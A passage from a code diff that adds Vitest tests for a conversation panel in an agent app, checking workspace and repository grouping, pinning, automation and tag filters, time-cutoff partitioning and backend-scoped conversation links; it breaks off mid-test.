+      // Both whitespace-only and "/" collapse into the same fallback
+      // bucket — ordered by updated_at desc within the group.
+      {
+        id: "__none_workspace",
+        label: "No workspace",
+        ids: ["ws-root", "ws-blank"],
+      },
+    ]);
+
+    const dotGit: AppConversation = {
+      ...base,
+      id: "repo-git",
+      title: "repo-git",
+      selected_repository: "org/canvas.git",
+      // Unparseable timestamp — must not throw; falls to 0 ms and sorts last.
+      updated_at: "not-a-date",
+    };
+    const repoTrailingSlash: AppConversation = {
+      ...base,
+      id: "repo-slash",
+      title: "repo-slash",
+      // Same logical repo as `dotGit` would be without `.git`; with the
+      // trailing-slash normalization both forms must collapse together
+      // when they share the same path.
+      selected_repository: "org/sdk/",
+      updated_at: "2024-01-05T00:00:00.000Z",
+    };
+    const repoNoSlash: AppConversation = {
+      ...base,
+      id: "repo-noslash",
+      title: "repo-noslash",
+      selected_repository: "org/sdk",
+      updated_at: "2024-01-06T00:00:00.000Z",
+    };
+    const blankRepo: AppConversation = {
+      ...base,
+      id: "repo-blank",
+      title: "repo-blank",
+      selected_repository: "  ",
+      updated_at: "2024-01-04T00:00:00.000Z",
+    };
+    const rootRepo: AppConversation = {
+      ...base,
+      id: "repo-root",
+      title: "repo-root",
+      selected_repository: "/",
+      updated_at: "2024-01-03T00:00:00.000Z",
+    };
+    const cloudGroups = groupConversations(
+      [dotGit, repoTrailingSlash, repoNoSlash, blankRepo, rootRepo],
+      "cloud",
+      "updated",
+      { emptyWorkspace: "No workspace", emptyRepository: "No repository" },
+    );
+    expect(
+      cloudGroups.map((g) => ({
+        id: g.id,
+        label: g.label,
+        ids: g.conversations.map((c) => c.id),
+      })),
+    ).toEqual([
+      // `org/sdk` and `org/sdk/` collapse to one group.
+      {
+        id: "repo:org/sdk",
+        label: "sdk",
+        ids: ["repo-noslash", "repo-slash"],
+      },
+      // Whitespace and "/" both bucket into the empty-repo fallback,
+      // sorted by updated_at desc within the group.
+      {
+        id: "__none_repo",
+        label: "No repository",
+        ids: ["repo-blank", "repo-root"],
+      },
+      {
+        id: "repo:org/canvas.git",
+        label: "canvas",
+        ids: ["repo-git"],
+      },
+    ]);
+  });
+
+  it("limits grouped folder previews to five conversations with an expand path", () => {
+    const conversations = Array.from({ length: 6 }, (_, index) => ({
+      ...base,
+      id: `c-${index}`,
+      title: `Conversation ${index}`,
+      updated_at: `2024-01-0${index + 1}T00:00:00.000Z`,
+    }));
+
+    const truncated = getGroupConversationPreview(conversations, {
+      expanded: false,
+    });
+    expect(truncated.visibleConversations.map((c) => c.id)).toEqual([
+      "c-0",
+      "c-1",
+      "c-2",
+      "c-3",
+      "c-4",
+    ]);
+    expect(truncated.isPreviewTruncated).toBe(true);
+    expect(truncated.isShowingAll).toBe(false);
+
+    const expanded = getGroupConversationPreview(conversations, {
+      expanded: true,
+    });
+    expect(expanded.visibleConversations).toHaveLength(6);
+    expect(expanded.isPreviewTruncated).toBe(true);
+    expect(expanded.isShowingAll).toBe(true);
+
+    const withActiveBeyondPreview = getGroupConversationPreview(conversations, {
+      expanded: false,
+      activeConversationId: "c-5",
+    });
+    expect(
+      withActiveBeyondPreview.visibleConversations.map((c) => c.id),
+    ).toEqual(["c-0", "c-1", "c-2", "c-3", "c-5"]);
+    expect(GROUP_CONVERSATIONS_PREVIEW_LIMIT).toBe(5);
+  });
+
+  it("freezes discovery preview ids per folder and force-includes the active conversation", () => {
+    // Later pages may still contain rows for already-visible folders; those
+    // stay out of the collapsed discovery set so global Load more does not
+    // mutate an exposed folder's preview. The active conversation is still
+    // force-included even when it lands on a non-discovery page.
+    const items = [
+      {
+        ...base,
+        id: "none-1",
+        title: "None 1",
+        selected_workspace: null,
+      },
+      {
+        ...base,
+        id: "none-2",
+        title: "None 2",
+        selected_workspace: null,
+      },
+      {
+        ...base,
+        id: "alpha-1",
+        title: "Alpha 1",
+        selected_workspace: "/workspace/alpha",
+      },
+    ] as AppConversation[];
+    const pageByConversationId = new Map([
+      ["none-1", 0],
+      ["none-2", 1],
+      ["alpha-1", 1],
+    ]);
+
+    expect([
+      ...getGroupDiscoveryConversationIds(
+        items,
+        pageByConversationId,
+        "local",
+      ),
+    ]).toEqual(["none-1", "alpha-1"]);
+
+    expect([
+      ...getGroupDiscoveryConversationIds(items, pageByConversationId, "local", {
+        forceIncludeConversationId: "none-2",
+      }),
+    ]).toEqual(["none-1", "alpha-1", "none-2"]);
+
+    const grouped = groupConversations(items, "local", "updated", {
+      emptyWorkspace: "No workspace",
+      emptyRepository: "No repository",
+    });
+    const noneGroup = grouped.find((group) => group.id === "__none_workspace");
+    expect(noneGroup?.conversations.map((c) => c.id)).toEqual([
+      "none-1",
+      "none-2",
+    ]);
+
+    const discoveryIds = getGroupDiscoveryConversationIds(
+      items,
+      pageByConversationId,
+      "local",
+    );
+    const collapsed = getGroupConversationPreview(noneGroup!.conversations, {
+      expanded: false,
+      discoveryConversationIds: discoveryIds,
+    });
+    expect(collapsed.visibleConversations.map((c) => c.id)).toEqual(["none-1"]);
+    expect(collapsed.isPreviewTruncated).toBe(true);
+
+    const expanded = getGroupConversationPreview(noneGroup!.conversations, {
+      expanded: true,
+      discoveryConversationIds: discoveryIds,
+    });
+    expect(expanded.visibleConversations.map((c) => c.id)).toEqual([
+      "none-1",
+      "none-2",
+    ]);
+  });
+
+  it("resolvePinnedConversations preserves pin order and drops missing ids", () => {
+    const conversations = [
+      { ...base, id: "a", title: "A" },
+      { ...base, id: "b", title: "B" },
+      { ...base, id: "c", title: "C" },
+    ] as AppConversation[];
+
+    expect(
+      resolvePinnedConversations(["c", "missing", "a"], conversations).map(
+        (conversation) => conversation.id,
+      ),
+    ).toEqual(["c", "a"]);
+  });
+
+  it("groups local conversations by selected_workspace, collapsing per-conversation worktree paths", () => {
+    // Two worktree-mode conversations launched against the same workspace must
+    // end up in a single group keyed off the user-selected workspace, not split
+    // by the runtime worktree dir.
+    const sameWsA: AppConversation = {
+      ...base,
+      id: "1",
+      title: "one",
+      selected_workspace: "/workspace/agent-server-gui",
+      workspace: { working_dir: "/workspace/agent-server-gui/wt-abc" },
+      updated_at: "2024-01-02T00:00:00.000Z",
+    };
+    const sameWsB: AppConversation = {
+      ...base,
+      id: "2",
+      title: "two",
+      selected_workspace: "/workspace/agent-server-gui",
+      workspace: { working_dir: "/workspace/agent-server-gui/wt-def" },
+      updated_at: "2024-01-04T00:00:00.000Z",
+    };
+    // Different workspace — its own group.
+    const otherWs: AppConversation = {
+      ...base,
+      id: "3",
+      title: "three",
+      selected_workspace: "/workspace/other",
+      workspace: { working_dir: "/workspace/other/wt-xyz" },
+      updated_at: "2024-01-03T00:00:00.000Z",
+    };
+    // No user-selected workspace — must bucket under "No workspace"
+    // even though working_dir is set (to a per-conversation default).
+    const none: AppConversation = {
+      ...base,
+      id: "4",
+      title: "four",
+      selected_workspace: null,
+      workspace: { working_dir: "/workspace/project/agent-canvas/wt-noop" },
+      updated_at: "2024-01-01T00:00:00.000Z",
+    };
+
+    const groups = groupConversations(
+      [sameWsA, sameWsB, otherWs, none],
+      "local",
+      "updated",
+      { emptyWorkspace: "No workspace", emptyRepository: "No repository" },
+    );
+
+    expect(
+      groups.map((g) => ({
+        id: g.id,
+        label: g.label,
+        ids: g.conversations.map((c) => c.id),
+        launch: g.launch,
+      })),
+    ).toEqual([
+      {
+        id: "ws:/workspace/agent-server-gui",
+        label: "agent-server-gui",
+        ids: ["2", "1"],
+        launch: { workingDir: "/workspace/agent-server-gui" },
+      },
+      {
+        id: "ws:/workspace/other",
+        label: "other",
+        ids: ["3"],
+        launch: { workingDir: "/workspace/other" },
+      },
+      {
+        id: "__none_workspace",
+        label: "No workspace",
+        ids: ["4"],
+        launch: {},
+      },
+    ]);
+  });
+
+  it("groups cloud conversations by repository string", () => {
+    const r1: AppConversation = {
+      ...base,
+      id: "1",
+      title: "one",
+      selected_repository: "org/agent-canvas",
+      updated_at: "2024-01-02T00:00:00.000Z",
+    };
+    const r2: AppConversation = {
+      ...base,
+      id: "2",
+      title: "two",
+      selected_repository: "org/sdk",
+      updated_at: "2024-01-03T00:00:00.000Z",
+    };
+
+    const groups = groupConversations([r1, r2], "cloud", "updated", {
+      emptyWorkspace: "No workspace",
+      emptyRepository: "No repository",
+    });
+
+    expect(groups.map((g) => g.label)).toEqual(["sdk", "agent-canvas"]);
+    expect(groups[0].launch).toEqual({
+      repository: {
+        name: "org/sdk",
+        gitProvider: "github",
+        branch: "main",
+      },
+    });
+    expect(groups[1].launch).toEqual({
+      repository: {
+        name: "org/agent-canvas",
+        gitProvider: "github",
+        branch: "main",
+      },
+    });
+  });
+
+  it("applies a persisted folder order and moves folders via drag-and-drop", () => {
+    const groups = [
+      { id: "ws:/workspace/alpha", label: "alpha" },
+      { id: "ws:/workspace/beta", label: "beta" },
+      { id: "ws:/workspace/gamma", label: "gamma" },
+    ];
+
+    expect(
+      applyGroupFolderOrder(groups, [
+        "ws:/workspace/gamma",
+        "ws:/workspace/alpha",
+      ]).map((group) => group.id),
+    ).toEqual([
+      "ws:/workspace/gamma",
+      "ws:/workspace/alpha",
+      "ws:/workspace/beta",
+    ]);
+
+    expect(
+      moveGroupFolderOrder(
+        ["ws:/workspace/gamma", "ws:/workspace/alpha"],
+        groups.map((group) => group.id),
+        "ws:/workspace/alpha",
+        "ws:/workspace/beta",
+      ),
+    ).toEqual([
+      "ws:/workspace/gamma",
+      "ws:/workspace/beta",
+      "ws:/workspace/alpha",
+    ]);
+  });
+
+  it("recognizes automation-born conversations via automation tags or the cloud trigger", () => {
+    // Bundles the recognition facets: any automation tag key marks the
+    // conversation (local backend, where `trigger` is always null), the
+    // cloud backend's `trigger: "automation"` marks it even without tags,
+    // and unrelated tags / null triggers do not.
+    const taggedByName: AppConversation = {
+      ...base,
+      id: "tagged-name",
+      title: "tagged-name",
+      tags: { automationname: "Nightly Audit" },
+    };
+    const taggedByRunId: AppConversation = {
+      ...base,
+      id: "tagged-run",
+      title: "tagged-run",
+      tags: { automationrunid: "run-1" },
+    };
+    const cloudTriggered: AppConversation = {
+      ...base,
+      id: "cloud",
+      title: "cloud",
+      trigger: "automation",
+    };
+    const manual: AppConversation = {
+      ...base,
+      id: "manual",
+      title: "manual",
+      tags: { origin: "slack" },
+    };
+    expect(
+      [taggedByName, taggedByRunId, cloudTriggered, manual].map(
+        isAutomationConversation,
+      ),
+    ).toEqual([true, true, true, false]);
+  });
+
+  it("collects unique sorted automation-name facets with the unnamed bucket last", () => {
+    const conversations: AppConversation[] = [
+      {
+        ...base,
+        id: "b1",
+        title: "b1",
+        tags: { automationname: "PR Review Bot" },
+      },
+      {
+        ...base,
+        id: "unnamed",
+        title: "unnamed",
+        tags: { automationrunid: "run-1" },
+      },
+      {
+        ...base,
+        id: "a1",
+        title: "a1",
+        tags: { automationname: "Nightly Audit" },
+      },
+      {
+        ...base,
+        id: "a2",
+        title: "a2",
+        tags: { automationname: "Nightly Audit" },
+      },
+      { ...base, id: "manual", title: "manual" },
+    ];
+    expect(collectAutomationNameFacets(conversations)).toEqual([
+      "Nightly Audit",
+      "PR Review Bot",
+      UNNAMED_AUTOMATION_FACET,
+    ]);
+  });
+
+  const automationFilterFixtures: AppConversation[] = [
+    { ...base, id: "manual", title: "manual" },
+    {
+      ...base,
+      id: "audit",
+      title: "audit",
+      tags: { automationname: "Nightly Audit" },
+    },
+    {
+      ...base,
+      id: "unnamed",
+      title: "unnamed",
+      tags: { automationrunid: "run-1" },
+    },
+  ];
+  const automationFilterFacets = ["Nightly Audit", UNNAMED_AUTOMATION_FACET];
+
+  it("hides automation runs under the hide-automations filter mode", () => {
+    expect(
+      applyAutomationConversationFilter(
+        automationFilterFixtures,
+        "hide-automations",
+        [],
+        automationFilterFacets,
+      ).map((c) => c.id),
+    ).toEqual(["manual"]);
+  });
+
+  it("keeps only automation runs under only-automations, narrowed by the selected name facets", () => {
+    expect(
+      applyAutomationConversationFilter(
+        automationFilterFixtures,
+        "only-automations",
+        [],
+        automationFilterFacets,
+      ).map((c) => c.id),
+    ).toEqual(["audit", "unnamed"]);
+
+    expect(
+      applyAutomationConversationFilter(
+        automationFilterFixtures,
+        "only-automations",
+        [UNNAMED_AUTOMATION_FACET],
+        automationFilterFacets,
+      ).map((c) => c.id),
+    ).toEqual(["unnamed"]);
+  });
+
+  it("degrades a stale name selection to all automation runs instead of an empty list", () => {
+    // Selected names persist across backends/renames; when none intersect
+    // the currently available facets the narrowing must self-heal.
+    expect(
+      applyAutomationConversationFilter(
+        automationFilterFixtures,
+        "only-automations",
+        ["Renamed Automation"],
+        automationFilterFacets,
+      ).map((c) => c.id),
+    ).toEqual(["audit", "unnamed"]);
+  });
+
+  it("pre-seeds workspace groups from knownWorkspaces even when no conversations are loaded for them", () => {
+    const knownWorkspaces = [
+      { id: "/workspace/alpha", name: "alpha", path: "/workspace/alpha" },
+      { id: "/workspace/beta", name: "beta", path: "/workspace/beta" },
+    ];
+    const groups = groupConversations(
+      [],
+      "local",
+      "updated",
+      { emptyWorkspace: "No workspace", emptyRepository: "No repository" },
+      knownWorkspaces,
+    );
+    expect(groups.map((g) => ({ id: g.id, label: g.label }))).toEqual([
+      { id: "ws:/workspace/alpha", label: "alpha" },
+      { id: "ws:/workspace/beta", label: "beta" },
+    ]);
+    expect(groups.every((g) => g.conversations.length === 0)).toBe(true);
+  });
+
+  it("merges known workspaces with conversations from paginated pages into one unified group list", () => {
+    const knownWorkspaces = [
+      { id: "/workspace/alpha", name: "alpha", path: "/workspace/alpha" },
+    ];
+    const pageTwoConversation: AppConversation = {
+      ...base,
+      id: "deep",
+      title: "deep",
+      selected_workspace: "/workspace/beta",
+      updated_at: "2024-01-05T00:00:00.000Z",
+    };
+    const groups = groupConversations(
+      [pageTwoConversation],
+      "local",
+      "updated",
+      { emptyWorkspace: "No workspace", emptyRepository: "No repository" },
+      knownWorkspaces,
+    );
+    const ids = groups.map((g) => g.id);
+    expect(ids).toContain("ws:/workspace/alpha");
+    expect(ids).toContain("ws:/workspace/beta");
+    const alpha = groups.find((g) => g.id === "ws:/workspace/alpha");
+    expect(alpha?.conversations).toHaveLength(0);
+    const beta = groups.find((g) => g.id === "ws:/workspace/beta");
+    expect(beta?.conversations.map((c) => c.id)).toEqual(["deep"]);
+  });
+
+  it("uses the known workspace name for a group whose path is in knownWorkspaces", () => {
+    const knownWorkspaces = [
+      {
+        id: "/workspace/my-project",
+        name: "My Project",
+        path: "/workspace/my-project",
+      },
+    ];
+    const convo: AppConversation = {
+      ...base,
+      id: "c1",
+      title: "c1",
+      selected_workspace: "/workspace/my-project",
+      updated_at: "2024-01-02T00:00:00.000Z",
+    };
+    const groups = groupConversations(
+      [convo],
+      "local",
+      "updated",
+      { emptyWorkspace: "No workspace", emptyRepository: "No repository" },
+      knownWorkspaces,
+    );
+    const group = groups.find((g) => g.id === "ws:/workspace/my-project");
+    expect(group?.label).toBe("My Project");
+  });
+
+  it("ignores knownWorkspaces for cloud backend grouping", () => {
+    const knownWorkspaces = [
+      { id: "/workspace/alpha", name: "alpha", path: "/workspace/alpha" },
+    ];
+    const groups = groupConversations(
+      [],
+      "cloud",
+      "updated",
+      { emptyWorkspace: "No workspace", emptyRepository: "No repository" },
+      knownWorkspaces,
+    );
+    expect(groups).toHaveLength(0);
+  });
+
+  it("collects distinct user-facing key=value tag facets, sorted A–Z, excluding reserved keys", () => {
+    const conversations: AppConversation[] = [
+      {
+        ...base,
+        id: "t1",
+        title: "t1",
+        tags: {
+          origin: "slack",
+          owner: "alice",
+          // Reserved/internal keys must not surface as facets — including
+          // the automation provenance family, which the automation filter
+          // owns exclusively.
+          acpserver: "claude-code",
+          title: "internal title stamp",
+          automationname: "Nightly Audit",
+          automationtrigger: "cron",
+        },
+      },
+      {
+        ...base,
+        id: "t2",
+        title: "t2",
+        // Duplicate facet (origin=slack again) collapses into one entry.
+        tags: { origin: "slack", project: "fracture" },
+      },
+      // No user tags at all: contributes nothing (no unnamed bucket).
+      { ...base, id: "t3", title: "t3" },
+      { ...base, id: "t4", title: "t4", tags: null },
+    ];
+    expect(collectTagFacets(conversations)).toEqual([
+      "origin=slack",
+      "owner=alice",
+      "project=fracture",
+    ]);
+  });
+
+  it("formats bare-tag facets (empty value) as just the key", () => {
+    expect(formatTagFacetLabel("work=")).toBe("work");
+    expect(formatTagFacetLabel("project=fracture")).toBe("project=fracture");
+  });
+
+  const tagFilterFixtures: AppConversation[] = [
+    { ...base, id: "untagged", title: "untagged" },
+    {
+      ...base,
+      id: "slack",
+      title: "slack",
+      tags: { origin: "slack" },
+    },
+    {
+      ...base,
+      id: "alice",
+      title: "alice",
+      tags: { owner: "alice" },
+    },
+    {
+      ...base,
+      id: "both",
+      title: "both",
+      tags: { origin: "slack", owner: "alice" },
+    },
+  ];
+  const tagFilterFacets = ["origin=slack", "owner=alice"];
+
+  it("applies the tag filter with union semantics: any selected facet matches", () => {
+    expect(
+      applyTagConversationFilter(
+        tagFilterFixtures,
+        ["origin=slack", "owner=alice"],
+        tagFilterFacets,
+      ).map((c) => c.id),
+    ).toEqual(["slack", "alice", "both"]);
+
+    expect(
+      applyTagConversationFilter(
+        tagFilterFixtures,
+        ["origin=slack"],
+        tagFilterFacets,
+      ).map((c) => c.id),
+    ).toEqual(["slack", "both"]);
+  });
+
+  it("leaves the list unfiltered for empty or stale tag selections", () => {
+    // An empty selection is "no tag filter", and a selection that no longer
+    // intersects the available facets (tags edited away, selections persisted
+    // from another backend) self-heals the same way instead of yielding an
+    // unfillable empty list — mirroring the automation filter.
+    expect(
+      applyTagConversationFilter(tagFilterFixtures, [], tagFilterFacets).map(
+        (c) => c.id,
+      ),
+    ).toEqual(["untagged", "slack", "alice", "both"]);
+
+    expect(
+      applyTagConversationFilter(
+        tagFilterFixtures,
+        ["origin=irc"],
+        tagFilterFacets,
+      ).map((c) => c.id),
+    ).toEqual(["untagged", "slack", "alice", "both"]);
+  });
+});
+
+describe("partitionByCutoff", () => {
+  const now = Date.parse("2026-08-25T12:00:00.000Z");
+
+  it("puts conversations older than the cutoff in the older bucket", () => {
+    const items = [
+      { updated_at: "2026-08-25T11:30:00.000Z" },
+      { updated_at: "2026-08-25T10:00:00.000Z" },
+    ];
+
+    const { recent, older } = partitionByCutoff(
+      items,
+      OLDER_CONVERSATION_CUTOFF_MS["1h"],
+      now,
+    );
+
+    expect(recent.map((item) => item.updated_at)).toEqual([
+      "2026-08-25T11:30:00.000Z",
+    ]);
+    expect(older.map((item) => item.updated_at)).toEqual([
+      "2026-08-25T10:00:00.000Z",
+    ]);
+  });
+
+  it("keeps a 2-hour-old conversation recent when the cutoff is 1 day", () => {
+    const items = [{ updated_at: "2026-08-25T10:00:00.000Z" }];
+
+    const { recent, older } = partitionByCutoff(
+      items,
+      OLDER_CONVERSATION_CUTOFF_MS["1d"],
+      now,
+    );
+
+    expect(recent).toHaveLength(1);
+    expect(older).toHaveLength(0);
+  });
+
+  it("leaves missing timestamps in recent so they are not hidden", () => {
+    const { recent, older } = partitionByCutoff(
+      [{ updated_at: "" }],
+      OLDER_CONVERSATION_CUTOFF_MS["1h"],
+      now,
+    );
+
+    expect(recent).toHaveLength(1);
+    expect(older).toHaveLength(0);
+  });
+
+  it("accepts only the known cutoff ids", () => {
+    expect(isOlderConversationCutoff("1h")).toBe(true);
+    expect(isOlderConversationCutoff("1d")).toBe(true);
+    expect(isOlderConversationCutoff("2h")).toBe(false);
+  });
+});
diff --git a/__tests__/components/features/conversation-panel/conversation-panel.test.tsx b/__tests__/components/features/conversation-panel/conversation-panel.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..c699f076edadfacdfedd3dc8dedd50f4c7b32176
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/conversation-panel.test.tsx
@@ -0,0 +1,2712 @@
+import {
+  act,
+  fireEvent,
+  render,
+  screen,
+  waitFor,
+  within,
+} from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { I18nextProvider } from "react-i18next";
+import i18n from "i18next";
+import { NavigationProvider } from "#/context/navigation-context";
+import {
+  afterEach,
+  beforeAll,
+  beforeEach,
+  describe,
+  expect,
+  it,
+  vi,
+} from "vitest";
+import userEvent from "@testing-library/user-event";
+import { createRoutesStub } from "react-router";
+import React from "react";
+import { renderWithProviders } from "test-utils";
+import { ConversationPanel } from "#/components/features/conversation-panel/conversation-panel";
+import { useConversationPanelPreferencesStore } from "#/stores/conversation-panel-preferences-store";
+import { useArchivedConversationsStore } from "#/stores/archived-conversations-store";
+import { usePinnedConversationsStore } from "#/stores/pinned-conversations-store";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import { AppConversation } from "#/api/conversation-service/agent-server-conversation-service.types";
+import { ExecutionStatus } from "#/types/agent-server/core";
+import { displayErrorToast } from "#/utils/custom-toast-handlers";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import { SEEDED_DEFAULT_BACKEND_ID } from "#/api/backend-registry/default-backend";
+import type { Backend } from "#/api/backend-registry/types";
+
+// Mock the unified stop conversation hook
+const mockStopConversationMutate = vi.fn();
+vi.mock("#/hooks/mutation/use-unified-stop-conversation", () => ({
+  useUnifiedPauseConversation: () => ({
+    mutate: mockStopConversationMutate,
+  }),
+}));
+
+// Helper to create complete AppConversation mock data
+// Default timestamps use "now" so conversations are considered recent and
+// rendered eagerly by the panel.  Each call produces a timestamp 1 s older
+// than the previous one so that the sort-by-updated_at order matches the
+// array insertion order (first created → newest → cards[0]).
+let _mockConversationCounter = 0;
+const createMockConversation = (
+  overrides: Partial<AppConversation> = {},
+): AppConversation => {
+  const ts = new Date(
+    Date.now() - _mockConversationCounter++ * 1000,
+  ).toISOString();
+  return {
+    id: "test-id",
+    title: "Test Conversation",
+    selected_repository: null,
+    git_provider: null,
+    selected_branch: null,
+    updated_at: ts,
+    created_at: ts,
+    execution_status: ExecutionStatus.FINISHED,
+    conversation_url: null,
+    created_by_user_id: "user1",
+    metrics: null,
+    llm_model: null,
+    trigger: null,
+    pr_number: [],
+    session_api_key: null,
+    sandbox_id: null,
+    sub_conversation_ids: [],
+    ...overrides,
+  };
+};
+
+// Mock toast handlers to prevent unhandled rejection errors
+vi.mock("#/utils/custom-toast-handlers", () => ({
+  displaySuccessToast: vi.fn(),
+  displayErrorToast: vi.fn(),
+  TOAST_OPTIONS: {},
+}));
+
+describe("ConversationPanel", () => {
+  const onCloseMock = vi.fn();
+  const RouterStub = createRoutesStub([
+    {
+      Component: () => <ConversationPanel onClose={onCloseMock} />,
+      path: "/",
+    },
+    {
+      // Add route to prevent "No routes matched location" warning
+      Component: () => null,
+      path: "/conversations/:conversationId",
+    },
+  ]);
+
+  const renderConversationPanel = (
+    options?: Parameters<typeof renderWithProviders>[1],
+  ) => renderWithProviders(<RouterStub />, options);
+
+  // The old single-click filter menu is now the layouts menu, with the
+  // display toggles one level deeper in the Advanced options modal. The
+  // modal stays open across row clicks, so a second call is a no-op.
+  const openAdvancedOptions = async (
+    user: ReturnType<typeof userEvent.setup>,
+  ) => {
+    if (screen.queryByTestId("advanced-conversation-options-modal")) return;
+    await user.click(screen.getByTestId("conversation-layouts-toggle"));
+    await user.click(screen.getByTestId("advanced-options-row"));
+  };
+
+  beforeAll(() => {
+    vi.mock("react-router", async (importOriginal) => ({
+      ...(await importOriginal<typeof import("react-router")>()),
+      Link: ({ children }: React.PropsWithChildren) => children,
+      useNavigate: vi.fn(() => vi.fn()),
+      useLocation: vi.fn(() => ({ pathname: "/conversation" })),
+      useParams: vi.fn(() => ({ conversationId: "2" })),
+    }));
+  });
+
+  const mockConversations: AppConversation[] = [
+    createMockConversation({ id: "1", title: "Conversation 1" }),
+    createMockConversation({ id: "2", title: "Conversation 2" }),
+    createMockConversation({ id: "3", title: "Conversation 3" }),
+  ];
+
+  const cloudBackend: Backend = {
+    id: "cloud-prod",
+    name: "Production",
+    host: "https://app.all-hands.dev",
+    apiKey: "bearer-key",
+    kind: "cloud",
+  };
+
+  beforeEach(() => {
+    vi.clearAllMocks();
+    mockStopConversationMutate.mockClear();
+    _mockConversationCounter = 0;
+    usePinnedConversationsStore.setState({ pinsByBackendId: {} });
+    useArchivedConversationsStore.setState({ archivesByBackendId: {} });
+    useConversationPanelPreferencesStore.setState({
+      showOlderConversations: true,
+      olderConversationCutoff: "7d",
+      showArchivedConversations: false,
+      automationFilterMode: "all",
+      selectedAutomationNames: [],
+      selectedTagFacets: [],
+      showTagsMetadata: false,
+    });
+    // Setup default mock for searchConversations
+    vi.spyOn(
+      AgentServerConversationService,
+      "searchConversations",
+    ).mockResolvedValue({
+      items: [...mockConversations],
+      next_page_id: null,
+    });
+  });
+
+  afterEach(() => {
+    vi.useRealTimers();
+    window.localStorage.clear();
+    window.sessionStorage.clear();
+    __resetActiveStoreForTests();
+  });
+
+  it("pins the active backend onto each conversation link", async () => {
+    // A tab opened with cmd/ctrl-click does not reliably inherit the opener's
+    // sessionStorage, so the link has to carry the backend it belongs to or
+    // the new tab resolves the conversation against whichever backend
+    // localStorage happens to hold.
+    renderConversationPanel();
+    const cards = await screen.findAllByTestId("conversation-card");
+
+    const href = cards[0].closest("a")?.getAttribute("href");
+    expect(href).toBe(`/conversations/1?backend=${SEEDED_DEFAULT_BACKEND_ID}`);
+  });
+
+  it("should render the conversations", async () => {
+    renderConversationPanel();
+    const cards = await screen.findAllByTestId("conversation-card");
+
+    // NOTE that we filter out conversations that don't have a created_at property
+    // (mock data has 4 conversations, but only 3 have a created_at property)
+    expect(cards).toHaveLength(3);
+  });
+
+  it("includes the active backend scope in conversation card links", async () => {
+    setRegisteredBackends([cloudBackend]);
+    setActiveSelection({ backendId: cloudBackend.id, orgId: "org-2" });
+
+    const ScopedRouterStub = createRoutesStub([
+      {
+        Component: () => <ConversationPanel onClose={onCloseMock} />,
+        path: "/",
+      },
+      {
+        Component: () => null,
+        path: "/conversations/:conversationId",
+      },
+    ]);
+    const queryClient = new QueryClient({
+      defaultOptions: { queries: { retry: false } },
+    });
+
+    render(
+      <QueryClientProvider client={queryClient}>
+        <I18nextProvider i18n={i18n}>
+          <ActiveBackendProvider>
+            <NavigationProvider
+              value={{
+                currentPath: "/",
+                conversationId: null,
+                isNavigating: false,
+                navigate: vi.fn(),
+              }}
+            >
+              <ScopedRouterStub />
+            </NavigationProvider>
+          </ActiveBackendProvider>
+        </I18nextProvider>
+      </QueryClientProvider>,
+    );
+
+    const title = await screen.findByText("Conversation 1");
+    expect(title.closest("a")).toHaveAttribute(
+      "href",
+      "/conversations/1?backend=cloud-prod&org=org-2",
+    );
+  });
+
+  it("includes the active backend scope in compact conversation row links", async () => {
+    setRegisteredBackends([cloudBackend]);
+    setActiveSelection({ backendId: cloudBackend.id, orgId: "org-2" });
+    vi.spyOn(
+      AgentServerConversationService,
+      "searchConversations",
+    ).mockResolvedValue({
+      items: [
+        createMockConversation({
+          id: "running",
+          title: "Running Conversation",
+          execution_status: ExecutionStatus.RUNNING,
+        }),
+      ],
+      next_page_id: null,
+    });
+
+    const CompactRouterStub = createRoutesStub([
+      {
+        Component: () => <ConversationPanel compact />,
+        path: "/",
+      },
+      {
+        Component: () => null,
+        path: "/conversations/:conversationId",
+      },
+    ]);
+    const queryClient = new QueryClient({
+      defaultOptions: { queries: { retry: false } },
+    });
+
+    render(
+      <QueryClientProvider client={queryClient}>
+        <I18nextProvider i18n={i18n}>
+          <ActiveBackendProvider>
+            <NavigationProvider
+              value={{
+                currentPath: "/",
+                conversationId: null,
+                isNavigating: false,
+                navigate: vi.fn(),
+              }}
+            >
+              <CompactRouterStub />
+            </NavigationProvider>
+          </ActiveBackendProvider>
+        </I18nextProvider>
+      </QueryClientProvider>,
+    );
+
+    expect(
+      await screen.findByLabelText("Running Conversation"),
+    ).toHaveAttribute(
+      "href",
+      "/conversations/running?backend=cloud-prod&org=org-2",
+    );
+  });
+
+  it("should display an empty state when there are no conversations", async () => {
+    const searchConversationsSpy = vi.spyOn(
+      AgentServerConversationService,
+      "searchConversations",
+    );
+    searchConversationsSpy.mockResolvedValue({
+      items: [],
+      next_page_id: null,
+    });
+
+    renderConversationPanel();
+
+    const emptyState = await screen.findByText("CONVERSATION$NO_CONVERSATIONS");
+    expect(emptyState).toBeInTheDocument();
+  });
+
+  it("keeps load more available when the visible list is empty and another page exists", async () => {
+    // Client-side filters (archiving, thread scope) can hide every row of the
+    // loaded pages. Hiding "Load more" there would strand the remaining
+    // backend pages behind an empty list with no way to reach them.
+    vi.spyOn(
+      AgentServerConversationService,
+      "searchConversations",
+    ).mockResolvedValue({
+      items: [],
+      next_page_id: "page-2",
+    });
+
+    renderConversationPanel();
+
+    await screen.findByText("CONVERSATION$NO_CONVERSATIONS");
+    expect(screen.getByTestId("load-more-conversations")).toBeInTheDocument();
+  });
+
+  it("can reach an unarchived conversation on the next page after archiving every loaded row", async () => {
+    // Archiving filters rows out of the visible list without changing
+    // backend pagination. If every currently loaded conversation is archived
+    // while hasNextPage is still true, Load more must stay available and
+    // fetching the next page must surface the unarchived conversation.
+    const user = userEvent.setup();
+    const page1 = [
+      createMockConversation({ id: "archived-1", title: "Archived 1" }),
+      createMockConversation({ id: "archived-2", title: "Archived 2" }),
+    ];
+    const page2 = [
+      createMockConversation({
+        id: "visible-next",
+        title: "Unarchived on next page",
+      }),
+    ];
+    vi.spyOn(
+      AgentServerConversationService,
+      "searchConversations",
+    ).mockImplementation(async (_limit, pageId) => {
+      if (pageId === "page-2") {
+        return { items: page2, next_page_id: null };
+      }
+      return { items: page1, next_page_id: "page-2" };
+    });
+
+    useArchivedConversationsStore.setState({
+      archivesByBackendId: {
